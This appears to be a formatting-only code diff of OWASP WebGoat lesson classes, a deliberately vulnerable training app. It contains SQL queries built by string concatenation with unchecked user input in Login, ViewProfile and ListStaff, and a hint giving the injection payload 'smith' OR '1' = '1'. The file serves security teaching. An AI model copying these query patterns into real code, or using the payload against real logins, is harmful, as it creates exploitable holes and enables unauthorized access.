Statement statement = WebSession.getConnection(s).createStatement(
ResultSet.TYPE_SCROLL_INSENSITIVE,
Statement statement = WebSession.getConnection(s).createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement
.executeQuery("select max(userid) as uid from employee");
ResultSet results = statement.executeQuery("select max(userid) as uid from employee");
results.first();
uid = results.getInt("uid");
}
catch (SQLException sqle)
} catch (SQLException sqle)
{
sqle.printStackTrace();
s.setMessage("Error updating employee profile");
}
catch (ClassNotFoundException e)
} catch (ClassNotFoundException e)
{
// TODO Auto-generated catch block
e.printStackTrace();
@ -253,8 +221,7 @@ public class UpdateProfile extends DefaultLessonAction
return uid + 1;
}
public void createEmployeeProfile(WebSession s, int userId,
Employee employee) throws UnauthorizedException
public void createEmployeeProfile(WebSession s, int userId, Employee employee) throws UnauthorizedException
{
try
{
@ -262,7 +229,7 @@ public class UpdateProfile extends DefaultLessonAction
int nextId = getNextUID(s);
String query = "INSERT INTO employee VALUES ( " + nextId + ", ?,?,?,?,?,?,?,?,?,?,?,?,?,?)";
//System.out.println("Query: " + query);
// System.out.println("Query: " + query);
try
{
@ -284,14 +251,12 @@ public class UpdateProfile extends DefaultLessonAction
ps.setString(14, employee.getPersonalDescription());
ps.execute();
}
catch (SQLException sqle)
} catch (SQLException sqle)
{
s.setMessage("Error updating employee profile");
sqle.printStackTrace();
}
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error updating employee profile");
e.printStackTrace();

View File

@ -1,9 +1,9 @@
package org.owasp.webgoat.lessons.RoleBasedAccessControl;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.session.Employee;
@ -12,71 +12,63 @@ import org.owasp.webgoat.session.UnauthenticatedException;
import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
public class ViewProfile extends DefaultLessonAction
{
public ViewProfile(GoatHillsFinancial lesson, String lessonName,
String actionName)
public ViewProfile(GoatHillsFinancial lesson, String lessonName, String actionName)
{
super(lesson, lessonName, actionName);
}
public void handleRequest(WebSession s) throws ParameterNotFoundException,
UnauthenticatedException, UnauthorizedException
public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
UnauthorizedException
{
getLesson().setCurrentAction(s, getActionName());
if (isAuthenticated(s))
{
int userId = getIntSessionAttribute(s, getLessonName() + "."
+ RoleBasedAccessControl.USER_ID);
int userId = getIntSessionAttribute(s, getLessonName() + "." + RoleBasedAccessControl.USER_ID);
int employeeId = -1;
try
{
// User selected employee
employeeId = s.getParser().getIntParameter(
RoleBasedAccessControl.EMPLOYEE_ID);
}
catch (ParameterNotFoundException e)
employeeId = s.getParser().getIntParameter(RoleBasedAccessControl.EMPLOYEE_ID);
} catch (ParameterNotFoundException e)
{
// May be an internally selected employee
employeeId = getIntRequestAttribute(s, getLessonName() + "."
+ RoleBasedAccessControl.EMPLOYEE_ID);
employeeId = getIntRequestAttribute(s, getLessonName() + "." + RoleBasedAccessControl.EMPLOYEE_ID);
}
Employee employee = getEmployeeProfile(s, userId, employeeId);
setSessionAttribute(s, getLessonName() + "."
+ RoleBasedAccessControl.EMPLOYEE_ATTRIBUTE_KEY, employee);
setSessionAttribute(s, getLessonName() + "." + RoleBasedAccessControl.EMPLOYEE_ATTRIBUTE_KEY, employee);
}
else
throw new UnauthenticatedException();
@ -84,82 +76,64 @@ public class ViewProfile extends DefaultLessonAction
updateLessonStatus(s);
}
private void updateLessonStatus(WebSession s)
{
// If the logged in user is not authorized to see the given employee's data, stage is complete.
// If the logged in user is not authorized to see the given employee's data, stage is
// complete.
try
{
int userId = getIntSessionAttribute(s, getLessonName() + "."
+ RoleBasedAccessControl.USER_ID);
int employeeId = s.getParser().getIntParameter(
RoleBasedAccessControl.EMPLOYEE_ID);
int userId = getIntSessionAttribute(s, getLessonName() + "." + RoleBasedAccessControl.USER_ID);
int employeeId = s.getParser().getIntParameter(RoleBasedAccessControl.EMPLOYEE_ID);
if (RoleBasedAccessControl.STAGE3.equals(getStage(s))
&& !isAuthorizedForEmployee(s, userId, employeeId))
if (RoleBasedAccessControl.STAGE3.equals(getStage(s)) && !isAuthorizedForEmployee(s, userId, employeeId))
{
setStageComplete(s, RoleBasedAccessControl.STAGE3);
}
} catch (ParameterNotFoundException e)
{
}
catch (ParameterNotFoundException e)
{}
}
public String getNextPage(WebSession s)
{
return RoleBasedAccessControl.VIEWPROFILE_ACTION;
}
public Employee getEmployeeProfile(WebSession s, int userId,
int subjectUserId) throws UnauthorizedException
public Employee getEmployeeProfile(WebSession s, int userId, int subjectUserId) throws UnauthorizedException
{
Employee profile = null;
// Query the database for the profile data of the given employee
try
{
String query = "SELECT * FROM employee WHERE userid = "
+ subjectUserId;
String query = "SELECT * FROM employee WHERE userid = " + subjectUserId;
try
{
Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);
if (answer_results.next())
{
// Note: Do NOT get the password field.
profile = new Employee(answer_results.getInt("userid"),
answer_results.getString("first_name"),
answer_results.getString("last_name"),
answer_results.getString("ssn"), answer_results
.getString("title"), answer_results
.getString("phone"), answer_results
.getString("address1"), answer_results
.getString("address2"), answer_results
.getInt("manager"), answer_results
.getString("start_date"), answer_results
.getInt("salary"), answer_results
.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results
.getString("disciplined_date"),
answer_results.getString("disciplined_notes"),
answer_results.getString("personal_description"));
/* System.out.println("Retrieved employee from db: " +
profile.getFirstName() + " " + profile.getLastName() +
" (" + profile.getId() + ")");
profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"),
answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results
.getString("title"), answer_results.getString("phone"), answer_results
.getString("address1"), answer_results.getString("address2"), answer_results
.getInt("manager"), answer_results.getString("start_date"), answer_results
.getInt("salary"), answer_results.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("disciplined_notes"), answer_results.getString("personal_description"));
/*
* System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " +
* profile.getLastName() + " (" + profile.getId() + ")");
*/}
}
catch (SQLException sqle)
} catch (SQLException sqle)
{
s.setMessage("Error getting employee profile");
sqle.printStackTrace();
}
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error getting employee profile");
e.printStackTrace();
@ -168,9 +142,7 @@ public class ViewProfile extends DefaultLessonAction
return profile;
}
public Employee getEmployeeProfile_BACKUP(WebSession s, int userId,
int subjectUserId) throws UnauthorizedException
public Employee getEmployeeProfile_BACKUP(WebSession s, int userId, int subjectUserId) throws UnauthorizedException
{
// Query the database to determine if the given employee is owned by the given user
// Query the database for the profile data of the given employee
@ -180,46 +152,34 @@ public class ViewProfile extends DefaultLessonAction
// Query the database for the profile data of the given employee
try
{
String query = "SELECT * FROM employee WHERE userid = "
+ subjectUserId;
String query = "SELECT * FROM employee WHERE userid = " + subjectUserId;
try
{
Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);
if (answer_results.next())
{
// Note: Do NOT get the password field.
profile = new Employee(answer_results.getInt("userid"),
answer_results.getString("first_name"),
answer_results.getString("last_name"),
answer_results.getString("ssn"), answer_results
.getString("title"), answer_results
.getString("phone"), answer_results
.getString("address1"), answer_results
.getString("address2"), answer_results
.getInt("manager"), answer_results
.getString("start_date"), answer_results
.getInt("salary"), answer_results
.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results
.getString("disciplined_date"),
answer_results.getString("disciplined_notes"),
answer_results.getString("personal_description"));
/* System.out.println("Retrieved employee from db: " +
profile.getFirstName() + " " + profile.getLastName() +
" (" + profile.getId() + ")");
profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"),
answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results
.getString("title"), answer_results.getString("phone"), answer_results
.getString("address1"), answer_results.getString("address2"), answer_results
.getInt("manager"), answer_results.getString("start_date"), answer_results
.getInt("salary"), answer_results.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("disciplined_notes"), answer_results.getString("personal_description"));
/*
* System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " +
* profile.getLastName() + " (" + profile.getId() + ")");
*/}
}
catch (SQLException sqle)
} catch (SQLException sqle)
{
s.setMessage("Error getting employee profile");
sqle.printStackTrace();
}
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error getting employee profile");
e.printStackTrace();

View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons.SQLInjection;
import java.sql.ResultSet;
@ -5,7 +6,6 @@ import java.sql.SQLException;
import java.sql.Statement;
import java.util.List;
import java.util.Vector;
import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.session.EmployeeStub;
@ -14,32 +14,31 @@ import org.owasp.webgoat.session.UnauthenticatedException;
import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
@ -51,34 +50,28 @@ public class ListStaff extends DefaultLessonAction
super(lesson, lessonName, actionName);
}
public void handleRequest(WebSession s) throws ParameterNotFoundException,
UnauthenticatedException, UnauthorizedException
public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
UnauthorizedException
{
getLesson().setCurrentAction(s, getActionName());
if (isAuthenticated(s))
{
int userId = getIntSessionAttribute(s, getLessonName() + "."
+ SQLInjection.USER_ID);
int userId = getIntSessionAttribute(s, getLessonName() + "." + SQLInjection.USER_ID);
List employees = getAllEmployees(s, userId);
setSessionAttribute(s, getLessonName() + "."
+ SQLInjection.STAFF_ATTRIBUTE_KEY, employees);
setSessionAttribute(s, getLessonName() + "." + SQLInjection.STAFF_ATTRIBUTE_KEY, employees);
}
else
throw new UnauthenticatedException();
}
public String getNextPage(WebSession s)
{
return SQLInjection.LISTSTAFF_ACTION;
}
public List getAllEmployees(WebSession s, int userId)
throws UnauthorizedException
public List getAllEmployees(WebSession s, int userId) throws UnauthorizedException
{
// Query the database for all employees "owned" by the given employee
@ -87,14 +80,12 @@ public class ListStaff extends DefaultLessonAction
try
{
String query = "SELECT employee.userid,first_name,last_name,role FROM employee,roles WHERE employee.userid=roles.userid and employee.userid in "
+ "(SELECT employee_id FROM ownership WHERE employer_id = "
+ userId + ")";
+ "(SELECT employee_id FROM ownership WHERE employer_id = " + userId + ")";
try
{
Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);
answer_results.beforeFirst();
while (answer_results.next())
@ -103,19 +94,16 @@ public class ListStaff extends DefaultLessonAction
String firstName = answer_results.getString("first_name");
String lastName = answer_results.getString("last_name");
String role = answer_results.getString("role");
//System.out.println("Retrieving employee stub for role " + role);
EmployeeStub stub = new EmployeeStub(employeeId, firstName,
lastName, role);
// System.out.println("Retrieving employee stub for role " + role);
EmployeeStub stub = new EmployeeStub(employeeId, firstName, lastName, role);
employees.add(stub);
}
}
catch (SQLException sqle)
} catch (SQLException sqle)
{
s.setMessage("Error getting employees");
sqle.printStackTrace();
}
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error getting employees");
e.printStackTrace();
@ -124,9 +112,7 @@ public class ListStaff extends DefaultLessonAction
return employees;
}
public List getAllEmployees_BACKUP(WebSession s, int userId)
throws UnauthorizedException
public List getAllEmployees_BACKUP(WebSession s, int userId) throws UnauthorizedException
{
// Query the database for all employees "owned" by the given employee
@ -135,14 +121,12 @@ public class ListStaff extends DefaultLessonAction
try
{
String query = "SELECT employee.userid,first_name,last_name,role FROM employee,roles WHERE employee.userid=roles.userid and employee.userid in "
+ "(SELECT employee_id FROM ownership WHERE employer_id = "
+ userId + ")";
+ "(SELECT employee_id FROM ownership WHERE employer_id = " + userId + ")";
try
{
Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);
answer_results.beforeFirst();
while (answer_results.next())
@ -151,19 +135,16 @@ public class ListStaff extends DefaultLessonAction
String firstName = answer_results.getString("first_name");
String lastName = answer_results.getString("last_name");
String role = answer_results.getString("role");
//System.out.println("Retrieving employee stub for role " + role);
EmployeeStub stub = new EmployeeStub(employeeId, firstName,
lastName, role);
// System.out.println("Retrieving employee stub for role " + role);
EmployeeStub stub = new EmployeeStub(employeeId, firstName, lastName, role);
employees.add(stub);
}
}
catch (SQLException sqle)
} catch (SQLException sqle)
{
s.setMessage("Error getting employees");
sqle.printStackTrace();
}
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error getting employees");
e.printStackTrace();

View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons.SQLInjection;
import java.sql.ResultSet;
@ -5,7 +6,6 @@ import java.sql.SQLException;
import java.sql.Statement;
import java.util.List;
import java.util.Vector;
import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction;
@ -16,32 +16,31 @@ import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
@ -50,32 +49,25 @@ public class Login extends DefaultLessonAction
private LessonAction chainedAction;
public Login(GoatHillsFinancial lesson, String lessonName, String actionName,
LessonAction chainedAction)
public Login(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction)
{
super(lesson, lessonName, actionName);
this.chainedAction = chainedAction;
}
public void handleRequest(WebSession s) throws ParameterNotFoundException,
ValidationException
public void handleRequest(WebSession s) throws ParameterNotFoundException, ValidationException
{
//System.out.println("Login.handleRequest()");
// System.out.println("Login.handleRequest()");
getLesson().setCurrentAction(s, getActionName());
List employees = getAllEmployees(s);
setSessionAttribute(s, getLessonName() + "."
+ SQLInjection.STAFF_ATTRIBUTE_KEY, employees);
setSessionAttribute(s, getLessonName() + "." + SQLInjection.STAFF_ATTRIBUTE_KEY, employees);
String employeeId = null;
try
{
employeeId = s.getParser().getStringParameter(
SQLInjection.EMPLOYEE_ID);
String password = s.getParser().getRawParameter(
SQLInjection.PASSWORD);
employeeId = s.getParser().getStringParameter(SQLInjection.EMPLOYEE_ID);
String password = s.getParser().getRawParameter(SQLInjection.PASSWORD);
// Attempt authentication
boolean authenticated = login(s, employeeId, password);
@ -88,13 +80,11 @@ public class Login extends DefaultLessonAction
try
{
chainedAction.handleRequest(s);
}
catch (UnauthenticatedException ue1)
} catch (UnauthenticatedException ue1)
{
System.out.println("Internal server error");
ue1.printStackTrace();
}
catch (UnauthorizedException ue2)
} catch (UnauthorizedException ue2)
{
System.out.println("Internal server error");
ue2.printStackTrace();
@ -103,119 +93,99 @@ public class Login extends DefaultLessonAction
else
s.setMessage("Login failed");
}
catch (ParameterNotFoundException pnfe)
} catch (ParameterNotFoundException pnfe)
{
// No credentials offered, so we log them out
setSessionAttribute(s, getLessonName() + ".isAuthenticated",
Boolean.FALSE);
setSessionAttribute(s, getLessonName() + ".isAuthenticated", Boolean.FALSE);
}
}
public String getNextPage(WebSession s)
{
String nextPage = SQLInjection.LOGIN_ACTION;
if (isAuthenticated(s))
nextPage = chainedAction.getNextPage(s);
if (isAuthenticated(s)) nextPage = chainedAction.getNextPage(s);
return nextPage;
}
public boolean requiresAuthentication()
{
return false;
}
public boolean login(WebSession s, String userId, String password)
{
//System.out.println("Logging in to lesson");
// System.out.println("Logging in to lesson");
boolean authenticated = false;
try
{
String query = "SELECT * FROM employee WHERE userid = " + userId
+ " and password = '" + password + "'";
//System.out.println("Query:" + query);
String query = "SELECT * FROM employee WHERE userid = " + userId + " and password = '" + password + "'";
// System.out.println("Query:" + query);
try
{
Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);
if (answer_results.first())
{
setSessionAttribute(s,
getLessonName() + ".isAuthenticated", Boolean.TRUE);
setSessionAttribute(s, getLessonName() + "."
+ SQLInjection.USER_ID, userId);
setSessionAttribute(s, getLessonName() + ".isAuthenticated", Boolean.TRUE);
setSessionAttribute(s, getLessonName() + "." + SQLInjection.USER_ID, userId);
authenticated = true;
}
}
catch (SQLException sqle)
} catch (SQLException sqle)
{
s.setMessage("Error logging in");
sqle.printStackTrace();
}
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error logging in");
e.printStackTrace();
}
//System.out.println("Lesson login result: " + authenticated);
// System.out.println("Lesson login result: " + authenticated);
return authenticated;
}
public boolean login_BACKUP(WebSession s, String userId, String password)
{
//System.out.println("Logging in to lesson");
// System.out.println("Logging in to lesson");
boolean authenticated = false;
try
{
String query = "SELECT * FROM employee WHERE userid = " + userId
+ " and password = '" + password + "'";
//System.out.println("Query:" + query);
String query = "SELECT * FROM employee WHERE userid = " + userId + " and password = '" + password + "'";
// System.out.println("Query:" + query);
try
{
Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);
if (answer_results.first())
{
setSessionAttribute(s,
getLessonName() + ".isAuthenticated", Boolean.TRUE);
setSessionAttribute(s, getLessonName() + "."
+ SQLInjection.USER_ID, userId);
setSessionAttribute(s, getLessonName() + ".isAuthenticated", Boolean.TRUE);
setSessionAttribute(s, getLessonName() + "." + SQLInjection.USER_ID, userId);
authenticated = true;
}
}
catch (SQLException sqle)
} catch (SQLException sqle)
{
s.setMessage("Error logging in");
sqle.printStackTrace();
}
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error logging in");
e.printStackTrace();
}
//System.out.println("Lesson login result: " + authenticated);
// System.out.println("Lesson login result: " + authenticated);
return authenticated;
}
public List getAllEmployees(WebSession s)
{
List<EmployeeStub> employees = new Vector<EmployeeStub>();
@ -231,8 +201,7 @@ public class Login extends DefaultLessonAction
try
{
Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);
answer_results.beforeFirst();
while (answer_results.next())
@ -241,18 +210,15 @@ public class Login extends DefaultLessonAction
String firstName = answer_results.getString("first_name");
String lastName = answer_results.getString("last_name");
String role = answer_results.getString("role");
EmployeeStub stub = new EmployeeStub(employeeId, firstName,
lastName, role);
EmployeeStub stub = new EmployeeStub(employeeId, firstName, lastName, role);
employees.add(stub);
}
}
catch (SQLException sqle)
} catch (SQLException sqle)
{
s.setMessage("Error getting employees");
sqle.printStackTrace();
}
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error getting employees");
e.printStackTrace();
@ -261,20 +227,16 @@ public class Login extends DefaultLessonAction
return employees;
}
private void updateLessonStatus(WebSession s)
{
try
{
String employeeId = s.getParser().getStringParameter(
SQLInjection.EMPLOYEE_ID);
String password = s.getParser().getRawParameter(
SQLInjection.PASSWORD);
String employeeId = s.getParser().getStringParameter(SQLInjection.EMPLOYEE_ID);
String password = s.getParser().getRawParameter(SQLInjection.PASSWORD);
String stage = getStage(s);
if (SQLInjection.STAGE1.equals(stage))
{
if (Integer.parseInt(employeeId) == SQLInjection.PRIZE_EMPLOYEE_ID
&& isAuthenticated(s))
if (Integer.parseInt(employeeId) == SQLInjection.PRIZE_EMPLOYEE_ID && isAuthenticated(s))
{
setStageComplete(s, SQLInjection.STAGE1);
}
@ -282,16 +244,15 @@ public class Login extends DefaultLessonAction
else if (SQLInjection.STAGE2.equals(stage))
{
// This assumes the student hasn't modified login_BACKUP().
if (Integer.parseInt(employeeId) == SQLInjection.PRIZE_EMPLOYEE_ID
&& !isAuthenticated(s)
if (Integer.parseInt(employeeId) == SQLInjection.PRIZE_EMPLOYEE_ID && !isAuthenticated(s)
&& login_BACKUP(s, employeeId, password))
{
setStageComplete(s, SQLInjection.STAGE2);
}
}
} catch (ParameterNotFoundException pnfe)
{
}
catch (ParameterNotFoundException pnfe)
{}
}
}

View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons.SQLInjection;
import java.util.ArrayList;
@ -18,32 +19,31 @@ import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
@ -72,16 +72,11 @@ public class SQLInjection extends GoatHillsFinancial
registerAction(new EditProfile(this, className, CREATEPROFILE_ACTION));
// These actions are special in that they chain to other actions.
registerAction(new Login(this, className, LOGIN_ACTION,
getAction(LISTSTAFF_ACTION)));
registerAction(new Logout(this, className, LOGOUT_ACTION,
getAction(LOGIN_ACTION)));
registerAction(new FindProfile(this, className, FINDPROFILE_ACTION,
getAction(VIEWPROFILE_ACTION)));
registerAction(new UpdateProfile(this, className,
UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
registerAction(new DeleteProfile(this, className,
DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION)));
registerAction(new Login(this, className, LOGIN_ACTION, getAction(LISTSTAFF_ACTION)));
registerAction(new Logout(this, className, LOGOUT_ACTION, getAction(LOGIN_ACTION)));
registerAction(new FindProfile(this, className, FINDPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
registerAction(new UpdateProfile(this, className, UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
registerAction(new DeleteProfile(this, className, DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION)));
}
/**
@ -102,18 +97,14 @@ public class SQLInjection extends GoatHillsFinancial
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints
.add("The application is taking your input and inserting it at the end of a pre-formed SQL command.");
hints
.add("This is the code for the query being built and issued by WebGoat:<br><br> "
hints.add("The application is taking your input and inserting it at the end of a pre-formed SQL command.");
hints.add("This is the code for the query being built and issued by WebGoat:<br><br> "
+ "\"SELECT * FROM employee WHERE userid = \" + userId + \" and password = \" + password");
hints
.add("Compound SQL statements can be made by joining multiple tests with keywords like AND and OR. "
hints.add("Compound SQL statements can be made by joining multiple tests with keywords like AND and OR. "
+ "Try appending a SQL statement that always resolves to true");
// Stage 1
hints
.add("You may need to use WebScarab to remove a field length limit to fit your attack.");
hints.add("You may need to use WebScarab to remove a field length limit to fit your attack.");
hints.add("Try entering a password of [ smith' OR '1' = '1 ].");
// Stage 2
